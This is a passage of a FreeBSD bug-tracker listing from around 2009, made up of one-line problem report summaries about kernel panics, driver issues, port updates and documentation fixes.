SATA controller are not getting o ports/135055 mat [PATCH] devel/p5-DateTime-TimeZone: update to 0.91 o ports/135054 bsam comms/gammu amd64 build problems o kern/135050 fs [zfs] ZFS clears/hides disk errors on reboot o amd64/135040 amd64 [ata] FreeBSD/amd64 does not (always) detect disk on S o ports/135024 portmgr request MOVED and UPDATING from pointyhead o ports/135019 sysutils/bubblemon-dockapp 1.46_6 memory usage meter i f ports/135018 Port multimedia/vlc fails to compile when WITHOUT_X11= o bin/135017 [libc] bind exiting (due to assertion failure). resolv o bin/135016 randi [request] sysinstall(8) needs support for USB devices o kern/135014 [padlock] Using padlock(4) in 8-current triggers "fpud p usb/135009 weongyo [uath] [patch] Accton ar5523 products not in "uath" dr o kern/135008 xen [xen] FreeBSD-current/Xen timecounter jumps o ports/135002 java don't make in /usr/ports/net-im/openfire f ports/135000 olgeni don't make in /usr/ports/lang/erlang o kern/134996 pf [pf] Anchor tables not included when pfctl(8) is run w o i386/134986 i386 [build] make installworld fails (FreeBSD-7.2, tr not f o i386/134984 i386 [boot] [hang] boot from i386 DVD on Lenovo R500 fails o kern/134980 no effect of ATA_STATIC_ID on CURRENT with AHCI enable o amd64/134978 amd64 [panic] g_up pmap amd64 panic o bin/134975 ipfw [patch] ipfw(8) can't work with set in rule file. f ports/134971 beat Update port: cad/p5-Verilog-Perl incorrect pkg-plist a o kern/134956 FreeBSD 7.1 & 7.2, Intel PRO/1000 PT Quad Port Server f bin/134955 delphij gzip(1) always stores time stamp since 6.3-RELEASE [re o ports/134952 perl [patch] security/p5-Net-SSLeay build shouldn't need in o usb/134950 usb Lowering DTR for USB-modem via ubsa is not possible o misc/134947 [build] compiling world (libcrypto) o ports/134946 alexbl [PATCH] textproc/highlight: update to 2.9 s ports/134942 amdmi3 Update cad/brlcad to version 7.14.8 o kern/134931 net [route] [fib] Route messages sent to all socket listen o kern/134926 xen [xen] [panic] FreeBSD-current Xen DomU networking pani o kern/134922 geom [gmirror] [panic] kernel panic when use fdisk on disk o misc/134920 [patch] Large upgrades from source cause compile error o bin/134919 [patch] add information to truss(1) when tracing linux o conf/134918 rc rc.subr fails to detect perl daemons f bin/134907 vwe boot0cfg(8): choose / adjust the booting slice doesn't o kern/134887 [ataraid] source consistency problem o kern/134883 [vfs] [panic] kernel panic, superpages, vfs.lookup_sha p bin/134881 stefanf sh(1) with 'set -e' exits immediately in tested eval c o ports/134880 ale lang/php5 - PHP CLI interactive mode misbehaviour with o kern/134878 [puc] [patch] Add support for Oxford OXPCIe954 and OXP o ports/134874 alepulver [patch] Port fix games/iourbanterror on amd64 o ports/134866 lbr Unable to install databases/p5-DBIx-Class port with SQ o kern/134800 [drm] radeon driver freezes Xorg server with drmwtq o i386/134792 [boot] [panic] problems installing and booting on MSI f kern/134788 delphij [bce] failure to set ip address in amd64 if_bce.c, i38 o amd64/134786 amd64 [vfs] [patch] vfs.bufspace sysctl wideness on amd64 o ports/134785 novel [patch][vuxml] security/gnutls: update to 2.6.6 and do f ports/134774 mono lang/mono won't build on 6.4-STABLE f ports/134773 openoffice [patch] editors/openoffice.org-3 reduce depenedencies o kern/134767 multimedia [snd_hda] Sigmatel STAC9205X no sound under RELENG_7_2 f usb/134766 gavin Add blacklist for Cyberpower UPS to uhid o amd64/134757 amd64 32 bit processes on 64 bit platforms occasionally drop o ports/134750 alexbl [Update]textproc/py-markdown:update to 2.0.1 o kern/134745 [mmcsd] [panic] mmcsd.ko produce kernel panic f ports/134743 devel/Monotone and pthreaded dependencies o ports/134738 ahze Update ports: www/midori to 0.1.6 p ports/134737 gnome Update www/webkit-gtk2 to 1.1.7 o ports/134736 nivit [Update]www/py-pylons:update to 0.9.7 o ports/134734 delphij net/py-ldap2 - Package py25-ldap2 in 7.2-RELEASE fails s ports/134714 sem ports-mgmt/portupgrade deletes user data without quest o ports/134711 wxs mail/postfix - repocopy of (old) postfix to postfix25 o ports/134699 multimedia multimedia/gstreamer-ffmpeg - /usr/X11R6/bin: file not o ports/134689 gecko www/Firefox ports and packages in chroot or jails cras o conf/134660 rc [patch] rc-script for initializing ng_netflow+ng_ipfw o kern/134658 net [bce] bce driver fails on PowerEdge m610 blade. o ports/134656 mnag Create www/pecl-APC-dev o ports/134643 x11 [patch] x11-servers/xorg-server - Unbreak Xorg 7.4 ser f ports/134639 devel/boost can't be made with parameteres -DWITH_PYT o usb/134633 usb Add support for WILLCOM03(SHARP smart phone) o ports/134632 kwm [patch] Update port: multimedia/ffmpeg 2009-05-15 o usb/134631 usb [usbdevs] [patch] WiSPY DBx support requires usb tweak o ports/134618 shaun news/inn update to 2.4.6 o bin/134616 named(8): the working directory is not writable o gnu/134604 [gcclibs] [patch] Memory leak in gcclibs/libgomp f ports/134594 lwhsu [PATCH] security/pwman3: use cElementTree and sqlite c o ports/134593 pgollucci [repocopy]: net-mgmt/net-snmp -> net-mgmt/net-snmp55 o kern/134591 [ral] ral(4) driver frequently loses carrier (on RT256 o kern/134590 [libi386] [gpt] [patch] Bootloader support for hybrid o i386/134586 jhb [i386] [patch] Incorrect machine check exception handl o kern/134584 [panic] spin lock held too long o kern/134583 net [hang] Machine with jail freezes after random amount o p i386/134582 phk merge geode.c from head to releng_7_2 a ports/134577 apache www/apache22: build faild with mod_auth_digest o bin/134569 [heimdal] krb5-config does not return all libs necessa o ports/134541 alexbl Mk fix: Fix typos in bsd.scons.mk o kern/134540 [sysctl] [panic] kernel panic after sysctl -a (in strl f ports/134537 miwi misc/e2fsprogs-libuuid closes too manu descriptors [pa f ports/134536 gnome [patch] graphics/gimp: Gimp 2.6.6 fails to open URI's f ports/134535 miwi sysutils/e2fsprogs uuidd is broken [patch] o ports/134534 beech [PATCH] net/skype12, remove IGNORE o kern/134531 net [route] [panic] kernel crash related to routes/zebra o ports/134530 skv UPDATE: databases/skytools o kern/134520 [ata] SAS HD not detected on LSI SAS1078 (Acer Altos R o kern/134519 [panic] Kernel panics (2 page faults in kernel) s kern/134517 yongari [rl] [patch] Realtek 8111C Driver Backport for FreeBSD o ports/134515 shaun [PATCH] www/kannel: unbreak kannel on sparc64 o ports/134514 perky [PATCH] devel/libsigsegv: unbreak on sparc64 o kern/134513 [libc] [patch] fts(3) FTS_NOCHDIR misbehavior with emp o ports/134509 gnome graphics/inkscape: after loading any type of data file o kern/134504 [vesa] thinkpad t60 with ati x1400 in vesa console mod o kern/134502 [libelf] why 32 bit app not use /libexec/ld-elf32.so.1 o ports/134501 mat [PATCH] devel/p5-DateTime: update to 0.50 o ports/134498 skv [PATCH] devel/p5-Class-Accessor: update to 0.33 f kern/134496 fs [zfs] [panic] ZFS pool export occasionally causes a ke o kern/134491 fs [zfs] Hot spares are rather cold... o kern/134488 scsi [mpt] MPT SCSI driver probes max. 8 LUNs per device s ports/134485 net-mgmt/trafd 3.0.2.1 doesn't collect traffic o usb/134476 usb [usb2] [umass] [quirk] Add quirk for Cypress xx6830xx o ports/134475 beech multimedia/xmms gdk error (terminates) o ports/134474 deskutils/wmpinboard segfaults on startup o conf/134468 /etc/ntp created by default - but not used by /etc/def o ports/134458 openoffice editors/openoffice.org* fails to build (multiple versi o ports/134456 pgollucci www/apache22: file permissions are wrong o ports/134443 [NEW PORT] multimedia/2ManDVD: Create your own video d o bin/134425 sysinstall(8) custom distributions select all and dese o ports/134414 araujo graphics/mesa-demos does not build on FreeBSD-7.2 i386 o kern/134408 [dtrace] [panic] "opensnoop" DTrace script panics ever f kern/134407 gavin [hang] freebsd 7.x freezes with the livefs or install o kern/134401 net [msk] [panic] Kernel Fatal trap 12: page fault while i f kern/134398 gavin [ata] problems with udma modes on atapi ixp600 o ports/134397 lme [patch] games/scummvm update o kern/134391 [libc] dladdr(3) does effectively not work on main pro o bin/134389 cperciva portsnap(1): phttpget opens a new connections for ever o ports/134383 skv devel/bugzilla failes to find DBD::mysql o ports/134379 perl net/p5-perl-ldap makes no mention of Net::LDAP o docs/134376 doc pthread(3): pthread manpages don't mention that PTHREA o kern/134369 net [route] [ip6] IPV6 in Head broken for routing table up o arm/134368 arm [patch] nslu2_led driver for the LEDs on the NSLU2 a ports/134361 gnome devel/gvfs ports with smbclient support doesn't pass a f ports/134358 gnome x11/gnome2: trackerd uses up all of the cpu o ports/134357 itetcu Fix multimedia/libdvdnav with libdvdcss shared lib bum a kern/134355 [mbuf] comments for m_getm2 inconsistent with behaviou p ports/134352 dinoex fix all the ports depending print/cups-base s ports/134347 mail/spamd: spamlogd's whitelist expiration period is o kern/134344 top(1) shows user CPU value that's not equal to the to o arm/134338 arm [patch] Lock GPIO accesses on ixp425 o conf/134333 rc PPP configuration problem in the rc.d scripts in combi o kern/134328 [build] FreeBSD 7.2-RELEASE (STABLE) not compiled with o usb/134299 usb Kernel Panic plugging in MF626 USB UMTS Stick u3g o ports/134273 multimedia [patch] multimedia/ffmpeg - avoid crash in multimedia/ f ports/134264 audio/cmus - segmentation fault with ogg files o ports/134263 des sysutils/munin-node failure in some o conf/134258 /boot/default/loader.conf contains untrue default o ports/134256 mm [patch] net-im/mu-conference. Unbreak build with mysql p kern/134251 dchagin [linux] skype-2.0.0.72 broke with recent kernel change o bin/134250 [rc.d] mountlate: bogus error message when using neste o kern/134249 [libiconv] [patch] ignore case for character set names o ports/134244 x11 x11/xorg: "intel" driver for Xorg is very broken o ports/134243 skv port mail/libdomainkeys doesn't build dktest o i386/134242 i386 [boot0] [patch] improvement i386 boot0 error diagnose o ports/134239 python [patch] rc script for net-p2p/py-bittornado o kern/134231 [sysctl] sysctl() 80% slower in 7.2 than 6.2 [regressi o docs/134226 doc /usr/share/examples/ftpd/ftpd.conf does not exist. o kern/134225 [libexec] [patch] Reduce disk write load from save-ent o docs/134222 doc installation failure of japanese docs o ports/134214 chinsan [PATCH] devel/p5-List-Rotation-Cycle: update to 1.009 o ports/134206 mnag vuxml submission for databases/memcached o kern/134200 [panic] Fatal trap 12: page fault while in kernel mode o ports/134194 x11 graphics/dri fail on 7.2-RELEASE amd64 o usb/134193 usb System freeze on usb MP3 player insertion o ports/134182 sem ports-mgmt/portupgrade incorrectly handles manual reje o ports/134181 chinsan [MAINTAINER] www/httrack: update to 3.43.4 o conf/134169 El servidor X no detecta pantallas o kern/134168 net [ral] ral driver problem on RT2525 2.4GHz transceiver o bin/134167 cperciva [request] freebsd-update(8) should be able to be run i o ports/134166 skv [PATCH] devel/p5-prefork: update to 1.03 o kern/134157 net [dummynet] dummynet loads cpu for 100% and make a syst o ports/134155 danfe x11/nvidia-driver does not work with KVA_PAGES=512 and o ports/134148 ale databases/mysql50-server: InnoDB fails after upgrading o ports/134132 x11 x11-servers/xorg-server: Intel i845 - xorg.conf with U o docs/134127 doc [patch] ip6(4) manual does not contain proper referenc o docs/134123 doc The RUNQUEUE(9) man page is out of date o ports/134121 gecko www/firefox3-devel packaging errors o usb/134117 usb [Patch] Add support for 'Option GlobeTrotter HSDPA Mod o kern/134113 geom [geli] Problem setting secondary GELI key s ports/134112 wxs [MAINTAINER] net/asterisk16-addons: update to 1.6.1.0 o ports/134109 lme [PATCH] multimedia/devede: Fix Python Psyco support f i386/134106 i386 [boot] Dell Dimension XPS R400 fail to boot on CF IDE f kern/134105 gavin rl(4) Realtek 8110SC with device ID 0x814910ec not det f java/134098 glewis java/diablo-jdk15: random core drops o arm/134092 arm [patch] NSLU.hints contains wrong hints for on board n o usb/134085 usb [umass] Adding usb quirk for Sony USB flash drive o ports/134082 x11 x11/xdriinfo: xdriinfo-1.0.2 build fail o kern/134079 net [em] "em0: Invalid MAC address" in FreeBSD-Current ( 8 o docs/134074 doc [patch] locking.9 man page slight enhancements o ports/134071 danfe [patch] Port update to games/nexuiz 2.5 p docs/134070 danger old path for a file given in kbdmap(1) o bin/134069 [patch] mount_nfs(8) option parsing bug o kern/134054 [ataraid] [panic] traps kernel on boot if Intel Matrix p docs/134053 danger [patch] arp(8) manpage should mention ndp(8) in See Al o ports/134052 skreuzer Update port: games/mangband to latest version p kern/134050 bz cpuset allows change of the jail's set from inside the o kern/134044 geom [geom] gmirror(8) overwrites fs with stale data from r o bin/134038 dougb [patch] mergemaster(8): preserve mode/ownership for ex o bin/134022 host(1), dig(1) and nslookup(1) hang in _umtx_op sysca o kern/134011 [hang] swap_pager_getswapspace(4): failed o kern/134010 [gssapi][patch] Buffer overflow and use-after-free in o conf/134006 rc [patch] Unload console screensaver kernel modules if s o ports/134005 hrs x11/xorg: Cannot type underscore and other key on JP10 o ports/133996 flz [PATCH] mail/gnome-gmail-notifier: migrate to devel/li o usb/133989 usb [newusb] [ukbd] USB keyboard dead at mountroot> prompt f ports/133988 hrs Neither print/acroread8 nor print/acroread9 work on a o conf/133987 rc [rc.d] defaultroute broken with DHCP in some cases o kern/133985 [kernel] kern.cp_time returns all zeros and stops incr o kern/133980 fs [panic] [ffs] panic: ffs_valloc: dup alloc o bin/133979 pkg_create(1): pkg_create -n gives an error o amd64/133977 amd64 [panic] [ffs] "panic: ffs_blkfree: freeing free block" o kern/133969 net [dummynet] [panic] Fatal trap 12: page fault while in o kern/133968 net [dummynet] [panic] dummynet kernel panic o ports/133959 multimedia multimedia/transcode: update o ports/133946 x11 x11-servers/xorg-server [patch] X crashes in xinerama o kern/133931 geom [geli] [request] intentionally wrong password to destr o kern/133926 [request] MAXLOGNAME, the username length limit, is to o kern/133919 [mpt] [panic] 7.1 panics after completing rebuild of m f ports/133918 clsung textproc/refdb: adduser -R does not work with PostgreS o bin/133907 [patch] cp(1) wrongly reports errors in vacuous copy o kern/133902 net [tun] Killing tun0 iface ssh tunnel causes Panic Strin o ports/133899 cjh korean/ami doesn't work on amd64 o kern/133892 sam /usr/src/sys/dev/ath/if_ath.c:3414: error: 'const stru o conf/133890 rc [patch] sshd(8): add multiple profiles to the rc.d scr o kern/133872 [ata] SATA300 controlled as SATA150 on ICH7R mobo o kern/133867 initgroups(3) Invalid argument o bin/133860 [patch] lorder(1) misses symbols defined in read only o ports/133850 mat devel/p5-Log-Dispatch install dependencies o ports/133848 markus net-p2p/ktorrent-devel: request for removal o ports/133844 python New port: databases/py-postgresql python3 pgsql drive o ports/133843 sobomax Update port net/asterisk16 - add spandsp option/depenc o bin/133834 [patch] chat(1): terminate()/fatal() infinity mutual r o ports/133829 ale Wrong plist generated if nonstandard MANPREFIX and PRE o ports/133822 New port for cad/linux-eagle5 (Eagle 5.5.0) o ports/133818 wxs bacula-server-2.4.2: make_sqlite_tables sets wrong per o ports/133815 portmgr [PATCH] bsd.port.mk: implements fakeroot for the ports o ports/133803 kevlo archivers/deco and misc/deco ports confict by name and o kern/133786 [netinet] [patch] ip_input might cause kernel panic o kern/133776 [libc] [patch] snprintf(3) and vsnprintf(3) do not pro o kern/133775 [patch] gdb(1) debugscripts: fix proc address print in a ports/133773 apache net/keepalived port update request o ports/133771 doceng print/ghostscript8: Ghostscript8-8.64 port not install f kern/133768 gavin [panic] MONITOR PANIC: vcpu-0:VMM64 DoubleFault src=MO o docs/133765 doc setfib(2) man page section f ports/133758 pgollucci new net-mgmt/net-snmp does not count inactive memory a o ports/133747 amdmi3 fkiss and gondola not working on amd64 - seg fault f ports/133740 glarkin [new Port] www/archiva o kern/133736 net [udp] ip_id not protected ... p threa/133735 attilio Multi-threaded 32 bit cores can't be used on 64 bit sy o threa/133734 threads 32 bit libthr failing pthread_create() s kern/133733 [pci] [patch] Incorrect record in pci_vendors for Broa o kern/133732 pf [pf] max-src-conn issue o www/133730 www amd64 motherboard success report: Asrock A770DE AMD7 o i386/133727 i386 chars [[[[[[[[[[[[[ occur during install process (sett o ports/133723 sobomax asterisk-1.6.0.9 crash when load chan_h323 o conf/133715 [terminfo] [patch] no terminfo for rxvt-unicode termin f usb/133712 gavin [ural] [patch] RE: Fixed an issue with ural(4) that wa o kern/133710 [includes] net/bpf.h and netgraph/ng_message.h should o ports/133704 pgollucci www/apache22 apxs does not work as expected o amd64/133701 amd64 Recompiling the kernel with k8temp or smbios break GEO o kern/133676 fs [smbfs] [panic] umount -f'ing a vnode-based memory dis o ports/133663 skv [PATCH] devel/p5-POE: update to 1.0040 o ports/133641 doceng [PATCH] print/ghostscript7 crash bug o kern/133614 fs [smbfs] [panic] panic: ffs_truncate: read-only filesys o kern/133613 net [wpi] [panic] kernel panic in wpi(4) o ports/133609 x11 x11/xorg crashes with vlc, intel video driver o kern/133595 net [panic] Kernel Panic at pcpu.h:195 o kern/133593 [ata] `atacontrol spindown` won't affect disk until so o kern/133583 [libm] fma(3) does not respect rounding mode using ext o kern/133572 net [ppp] [hang] incoming PPTP connection hangs the system o docs/133567 doc [patch] doc/Makefile switch to csup o ports/133563 security/cfs rc script needs "mntudp" option on 8-CURR f usb/133545 usb [usb] [panic] Kernel crash in usb2_intr_schedule_adjus f misc/133540 gavin Cannot connect to ftp mirrors for 7.2 beta boot-only f ports/133533 pgollucci [PATCH] Add a static user/group for audio/musicpd port o power/133503 ppc Sound stutter after switching ttys o ports/133500 glewis java/diablo-jre16: fetch error: does not tell what fil o kern/133495 [de] interface not properly initialized on boot o bin/133493 gtp(8): 'gpt boot' should mark the slice in the protec o kern/133491 [libfetch] [patch] Digest HTTP authentication support o kern/133490 net [bpf] [panic] 'kmem_map too small' panic on Dell r900 o ports/133482 x11 x11/libXext "Generic Event Extension not available" er o ports/133465 x11 x11/xorg: X crashes with mplayer -vo xv with xf86-vide o ports/133464 clsung security/snort fails first try o ports/133462 multimedia multimedia/x264 build fails on powerpc o ports/133457 eclipse [PATCH] java/eclipse-webtools: update to 3.0.3 o bin/133455 pkg_delete(1): problem with delete packages. f ports/133451 python www/plone3 build fails. Plone3 needs python-2.4 but li p kern/133439 kan [vfs] [panic] Kernel Panic in kern_vfs o ports/133430 oliver [patch] multimedia/audacious 1.5.1: file dialog opens o ports/133423 eclipse [PATCH] java/eclipse-emf: Update to 2.4.1 o ports/133419 x11 Unable to build x11-drivers/xf86-video-nsc o ports/133417 eclipse [PATCH] java/eclipse-gef: update to 3.4.1 o ports/133416 girgen postgresql-8.3 repo copy request o ports/133413 mich [patch] sysutils/libcdio 0.78.2 is broken for CDROMs t o ports/133411 edwin www/mod_encoding does not work on amd64 with apache22 o usb/133390 usb umass crashes system in 7.1 when Olympus D-540 attache o i386/133388 i386 [est] est causes wrong dev.cpu.0.freq_levels values o power/133383 ppc firefox thr_kill crash with heavy vm load o power/133382 ppc [install] Installer gets signal 11 o kern/133373 fs [zfs] umass attachment causes ZFS checksum errors, dat f ports/133344 net/nss_ldap fails to compile if world was installed w o kern/133328 net [bge] [panic] Kernel panics with Windows7 client o ports/133303 lang/visualworks cannot load Jun because of lacking TG o usb/133296 usb rum driver not working properly in hostap mode o ports/133291 nork [PATCH] graphics/ilmbase: produces library not linked o kern/133289 [vm] [panic] DEBUG_MEMGUARD with vm.memguard.desc="dev o misc/133286 dd can fill system memory o kern/133265 jail [jail] is there a solution how to run nfs client in ja o www/133262 www FreeBSD on ASUS M2N-MX SE + p bin/133255 stefanf [PATCH] sh(1): empty line in eval resets $? o ports/133254 acm [bsd.fpc.mk] don't display bogus message for fpc-using o i386/133253 i386 [acd] Error mounting install image o ports/133250 cy [PATCH] sysutils/screen: remove NO_PACKAGE. o kern/133246 [libc] dlclose(3) gives segfault when called in the fi o docs/133245 doc french handbook 27.3.5 amd.map amd.conf p kern/133240 [boot] off-by-one error in gets.c causes panic when in o kern/133239 [ae] [jme] [patch] if_jme can assign duplicate MAC add o kern/133235 net [netinet] [patch] Process SIOCDLIFADDR command incorre o docs/133228 doc handbook 23.3.5 screenmap section is confusing o bin/133227 [patch] whois(1): add support for SLD whois server loo o kern/133218 net [carp] [hang] use of carp(4) causes system to freeze f www/133215 jkois FreeBSD Consultant f misc/133213 arp and sshd errors o kern/133204 net [msk] msk driver timeouts o ports/133197 pgollucci [bsd.apache.mk] Rephrase IGNORE statement, kill EOL sp o ports/133196 chinsan net/xmlrpc-c: rtorrent-devel rtorrent std::bad_alloc o docs/133186 doc powerd(8) man page errors o ports/133175 x11 [patch] x11/pixman: enable SSE2 support autodetection o kern/133174 fs [msdosfs] [patch] msdosfs must support utf-encoded int o kern/133170 [md] [panic] panic when detaching swap-backed md(4) di o kern/133162 [NOTES] [patch] document modular ata driver devices f misc/133158 Download not available f kern/133150 fs [zfs] Page fault with ZFS on 7.1-RELEASE/amd64 while w o ports/133146 ahze [patch] x11-fonts/dejavu: install fontconfig configura o kern/133144 [linux] linuxulator 2.6 crashes with nvidias libGL.so. o kern/133143 [ubsec] [panic] Kernel panic with ubsec and cryptodev; o kern/133134 fs [zfs] Missing ZFS zpool labels o kern/133122 [ata] TIMEOUT - READ_BIG with pata dvd-drive o docs/133118 doc [patch] Error in getopt (1) manual EXAMPLES section o docs/133110 doc [patch] Typo corrections for /usr/src/UPDATING o ports/133098 mbr [patch] mail/up-imapproxy hardcoded to use /etc/imappr o ports/133081 python [bsd.python.mk] PYEASYINSTALL_ARCHDEP=yes makes broken o ports/133078 kde [PATCH] kmix (multimedia/kdemultimedia4) incorrectly b o ports/133068 New port: audio/linux-genpuid o kern/133060 net [ipsec] [pfsync] [panic] Kernel panic with ipsec + pfs f ports/133047 glarkin [maintainer-update] Update graphics/linux-ac3d to 6.4. f ports/133031 ports/net/igmpproxy "must be at least 2 Vif's where on o ports/133026 clsung security/botan: missing digit in .so means ldconfig mi f kern/133020 fs [zfs] [panic] inappropriate panic caused by zfs. Pani o bin/132993 [patch] bsnmpd(1) - bad IfPoll timer interval o kern/132991 net [bge] if_bge low performance problem o kern/132987 daichi [unionfs] unionfs_readdir has math problem o kern/132984 net [netgraph] swi1: net 100% cpu usage o kern/132960 fs [ufs] [panic] panic:ffs_blkfree: freeing free frag o docs/132959 doc description mismatches on xterm/termcap, fortune/freeb o ports/132952 obrien [patch] lang/pcc update o kern/132934 [nfs] Cancel of a NFS-lock fails repeatedly o ports/132913 alepulver sysutils/fusefs-ntfs: ntfs-3g 2009.2.1 mount problem f bin/132911 net ip6fw(8): argument type of fill_icmptypes is wrong and o ports/132905 oliver security/oidentd build faild on 8.0-CURRENT o kern/132889 net [ndis] [panic] NDIS kernel crash on load BCM4321 AGN d o ports/132888 openoffice editors/openoffice.org-3: openoffice 3.0.1 fails to bu o kern/132885 net [wlan] 802.1x broken after SVN rev 189592 o docs/132884 doc [request] No manpage for SYSINIT and SYSUNINIT o ports/132881 girgen [PATCH] www/jakarta-jmeter: update to 2.3.2 o kern/132852 [lor] LOR between sysctl and acpi_ibm o conf/132851 net [fib] [patch] allow to setup fib for service running f o kern/132848 multimedia [snd_emu10kx] driver problem with card init, snd_emu10 o bin/132847 syrinx [patch] bsnmpd(8): snmp_pf: add support for retrieving o bin/132845 geom [geom] [patch] ggated(8) does not close files opened a o docs/132839 doc [patch] Fix example script in ldap-auth article p docs/132834 trhodes [patch] Punctuation inconsistency in chgrp.1 and cut.1 o kern/132832 net [netinet] [patch] tcp_output() might generate invalid p ports/132828 vd devel/pth broken due to introduction of pthread_kill p o ports/132820 skreuzer www/rt38: charts in RT-3.8.2 do not render p usb/132799 usb [usb][patch]GENESYS USB2IDE requires NO_SYNCHRONIZE_CA o bin/132798 net [patch] ggatec(8): ggated/ggatec connection slowdown p f ports/132792 pgollucci [new port] re-activating print/ifhp f ports/132790 stas lang/ruby19 fails it's own 'make test' suite o ports/132786 New port: sysutils/sispmctl Utility for controlling a o usb/132785 usb [usb] [patch] Gemtech remote powersocket is classed as o ports/132783 portmgr ports/Mk/bsd.port.mk: ${ARCH} misuse for "--build" opt o bin/132779 calendar(1) utility processes SunLast (and likely simi o kern/132774 rwatson [ipfw] IPFW with uid/gid/jail rules may lead to lockup o ports/132772 skv [new port] lang/rakudo-devel The Rakudo Perl 6 Compil o kern/132769 pf [pf] [lor] 2 LOR's with pf task mtx / ifnet and rtent o conf/132766 rc wait_for_pids() in /etc/rc.subr is dull. o bin/132735 Berkeley db: corrupted file has record with absurd siz o kern/132734 net [ifmib] [panic] panic in net/if_mib.c o kern/132722 net [ath] Wifi ath0 associates fine with AP, but DHCP or I o docs/132718 doc [handbook] Information about adding a new mirror is ou o kern/132715 jfv [lagg] [panic] Panic when creating vlan's on lagg inte f ports/132707 amdmi3 New port: games/GHost++, a Warcraft 3 game hosting bot o kern/132705 net [libwrap] [patch] libwrap - infinite loop if hosts.all o ports/132693 sobomax [PATCH] misc/libpri: update to 1.4.9 o bin/132692 [patch] getent(1): no support for netgroup o ports/132688 sobomax [PATCH] net/asterisk: update to 1.4.23.2 o ports/132680 openoffice editors/openoffice.org-3: OpenOffice symlinks in /usr/ f misc/132674 gavin new MotherBoards with WiFi cards o kern/132672 net [ndis] [panic] ndis with rt2860.sys causes kernel pani o kern/132669 net [xl] 3c905-TX send DUP! in reply on ping (sometime) o kern/132664 [lor] vfs_mount.c / msdosfs_vfsops.c o kern/132625 net [iwn] iwn drivers don't support setting country o kern/132622 philip [glxsb] [patch] glxsb(4) performs badly with ipsec o ports/132621 x11 x11/xorg tries to install event when deselected o ports/132607 security/denyhosts: command_interpreter warnings in /v o kern/132602 acpi [acpi] ACPI Problem with Intel SS4200: System does not o kern/132597 fs [tmpfs] [panic] tmpfs-related panic while interrupting o conf/132596 mux examples/cvsup/ports-supfile still oriented on cvsup p o usb/132594 usb USB subsystem causes page fault and crashes o bin/132591 [patch] dump(8): "dump W" uses %c instead of %d for re o ports/132588 ahze [PATCH] www/midori: update to 0.1.4 f ports/132579 cy [patch] sysutils/screen: fix build with externel compi o ports/132577 fjoe databases/oracle8-client: Appearence of connection (ph o ports/132576 delphij net/openldap24-server: multipying LDAP trees on the si o amd64/132574 amd64 [boot] [hang] Freeze on bootstrap loader (CD) using AT o ports/132573 ume [patch] security/cyrus-sasl2: fix compilation with gcc o kern/132554 net [ipl] There is no ippool start script/ipfilter magic t o kern/132553 ipfw [ipfw] ipfw doesn't understand ftp-data port o kern/132551 fs [zfs] ZFS locks up on extattr_list_link syscall p docs/132546 trhodes [patch] sync vm_map_lock(9) with recent locking change f i386/132535 gavin [acpi] if ACPI enabled, i can't change brightness leve o docs/132525 doc [PATCH] Fix documentation for atapicam(4) and umass(4) o conf/132515 stas ntpd_sync_on_start option in /etc/rc.conf misbehaves o kern/132511 multimedia [snd_hda] Probing ALC888 codec on ASRock K10N78-1394 f o kern/132497 rwatson [boot] [patch] Stale pre-5.x mbuf references in new Bo o conf/132483 rc rc.subr(8) [patch] setfib(1) support for rc.subr o conf/132476 rc [rc.d] [patch] add support setfib(1) in rc.d/routing o ports/132435 anders [patch] audio/xmp: add option to use tar(1) instead of o ports/132431 multimedia multimedia/ogmtools dvdxchap are not installed. o i386/132416 i386 Popup motherboard bios setup window when rebooting sys o ports/132403 x11 x11/xorg with Radeon X600 (R370): cannot re-initialize o ports/132402 girgen databases/postgresql83-server incorrect handling of co o kern/132397 fs reboot causes filesystem corruption (failure to sync b o amd64/132394 scsi [isp] - bad underruns with QLogic qla2300 and amd64 p docs/132392 trhodes [PATCH] remove leftovers of libkse from pthread.3 o ports/132391 multimedia/mplayer does not work with pulseaudio o amd64/132372 amd64 [ata] No disks found (nVidia nForce MCP55 sata control o bin/132367 [patch] less(1)/more(1) fchmod(2) `/dev/null' to 0600 o kern/132354 net [nat] Getting some packages to ipnat(8) causes crash o ports/132352 gahr [patch] databases/mysql-gui-tools hangs when picking s o www/132344 bugmeister [patch] www/en/cgi/query-pr.cgi broken base64 attachme o kern/132337 fs [zfs] [panic] kernel panic in zfs_fuid_create_cred f kern/132336 multimedia [snd_hda] Realtek ALC888 audio chipset does not work w o kern/132331 fs [ufs] [lor] LOR ufs and syncer s ports/132330 araujo New port: devel/psptoolchain-pspsdk-data s ports/132329 araujo New port: devel/psptoolchain-binutils s ports/132328 araujo New port: devel/psptoolchain-gcc s ports/132327 araujo New port: devel/psptoolchain-newlib s ports/132326 araujo New port: devel/psptoolchain-gdb s ports/132325 araujo New port: devel/psptoolchain s ports/132324 araujo New port: devel/psptoolchain-g++ s ports/132323 araujo New port: devel/psptoolchain-pspsdk s ports/132319 lwhsu [PATCH] chinese/scim-chewing: update to 0.3.3 s ports/132318 lwhsu [PATCH] chinese/libchewing: update to 0.3.2 o misc/132317 Snapshots are not properly mirrored between ftp.freebs o usb/132312 usb Xorg 7.4 halts USB controller o docs/132311 doc [patch] man5/nsmb.conf.5 o ports/132304 gnome ports/devel/dbus misses /var/db/dbus/machine-id in dis o bin/132302 [patch] smbutil(1): contrib/smbfs subr.c: saved passwo o ports/132294 stas [PATCH] lang/ruby18: Add option to build with Profile- o ports/132293 stas [PATCH] lang/ruby19: Add option to build with Profile- o kern/132285 net [carp] alias gives incorrect hash in dmesg o kern/132277 net [crypto] [ipsec] poor performance using cryptodevice f o ports/132274 portmgr [patch] Mk/bsd.port.mk: Revert USE_RC_SUBR changes mad o kern/132273 geom glabel(8): [patch] failing on journaled partition o kern/132271 [puc] [patch] puc support for a generic card o docs/132260 doc dhcpd(8) pid not stored in documented location o kern/132252 [ata] No CD/DVD devices found! o kern/132250 scsi [ciss] ciss driver does not support more then 15 drive o kern/132242 geom [gmirror] gmirror.ko fails to fully initialize o bin/132239 dhcpd(8) -d flag not working o kern/132238 [ral] ral driver does not support RT2860 o kern/132237 fs [msdosfs] msdosfs has problems to read MSDOS Floppy f ports/132231 gecko [PATCH] www/firefox3: Add option to build with Profile o i386/132230 i386 [boot] [reboot] 7.1-RELEASE /boot/loader non-functiona o ports/132229 ale Can't install databases/mysql51-server on freebsd 7.1- o ports/132213 anders [patch] mail/imap-uw: Add support for ~/mail as defaul o kern/132206 scsi [mpt] system panics on boot when mirroring and 2nd dri o docs/132193 doc [patch] description in the malo(4) manpage incorrect o docs/132190 doc EPERM explanation for send(2), sendto(2), and sendmsg( o bin/132182 uname(1) uses UNAME_ variables even if those are o conf/132179 net 